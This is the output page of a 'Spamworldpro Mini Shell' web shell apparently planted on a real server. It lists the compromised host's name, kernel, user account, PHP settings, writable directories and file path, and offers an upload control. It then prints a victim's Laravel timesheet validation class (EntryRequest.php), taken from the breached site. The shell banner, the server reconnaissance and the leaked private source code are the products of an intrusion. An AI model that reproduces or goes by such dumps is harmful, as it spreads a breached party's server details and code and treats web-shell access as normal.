Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Http/Requests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Http/Requests/EntryRequest.php
<?php

namespace Corals\Modules\Timesheet\Http\Requests;

use Corals\Foundation\Http\Requests\BaseRequest;
use Corals\Modules\Timesheet\Models\Entry;
use Corals\Settings\Facades\Settings;
use Illuminate\Support\Str;

class EntryRequest extends BaseRequest
{
    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        $this->setModel(Entry::class);

        return $this->isAuthorized();
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        $this->setModel(Entry::class);
        $rules = parent::rules();

        if ($this->isUpdate() || $this->isStore()) {
            $rules = array_merge($rules, [
                'spent_at' => 'required',
                'hours' => 'required_without:minutes|numeric|nullable|min:0',
                'minutes' => 'required_without:hours|numeric|nullable|min:0|max:59',
                'evaluation_hours' => ['nullable', 'numeric', function (string $attribute, $value, \Closure $fail) {
                    if (!Settings::get('evaluation_can_be_more_than_hours', false)) {
                        if ($value > $this->get('hours')) {
                            $fail(
                                trans('validation.max.numeric', [
                                    'attribute' => Str::replace('_', ' ', $attribute),
                                    'max' => $this->get('hours')
                                ])
                            );
                        }
                    }
                }],
                'evaluation_minutes' => ['nullable', 'numeric', 'min:0', function (string $attribute, $value, \Closure $fail) {
                    if (!Settings::get('evaluation_can_be_more_than_hours', false)) {
                        if ($this->get('evaluation_hours') >= $this->get('hours') && $value > $this->get('minutes')) {
                            $fail(
                                trans('validation.max.numeric', [
                                    'attribute' => Str::replace('_', ' ', $attribute),
                                    'max' => $this->get('minutes')
                                ])
                            );
                        }
                    }
                }],
                'description' => 'required',
                'user_id' => 'required_if:all_member_users,0|exists:users,id',
                'activity_id' => 'required|exists:timesheet_activities,id',
            ]);
        }

        if ($this->isStore()) {
            $rules = array_merge($rules, [
            ]);
        }

        if ($this->isUpdate()) {
            $entry = $this->route('entry');

            $rules = array_merge($rules, [
            ]);
        }


        return $rules;
    }

    /**
     * @return \Illuminate\Contracts\Validation\Validator
     */
    public function getValidatorInstance()
    {
        $data = $this->all();

        if ($this->isStore() || $this->isUpdate()) {
            $data['has_reviewed'] = data_get($data, 'has_reviewed') ?? 0;

            if (user()->cannot('admin', Entry::class)) {
                $data['user_id'] = user()->id;
            }

            $this->getInputSource()->replace($data);
        }

        return parent::getValidatorInstance();
    }

    public function messages()
    {
        return [
//            'hours.required_without' => 'required',
//            'minutes.required_without' => 'required',
            'user_id.required_if' => 'The user field is required ',
        ];
    }
}

Spamworldpro Mini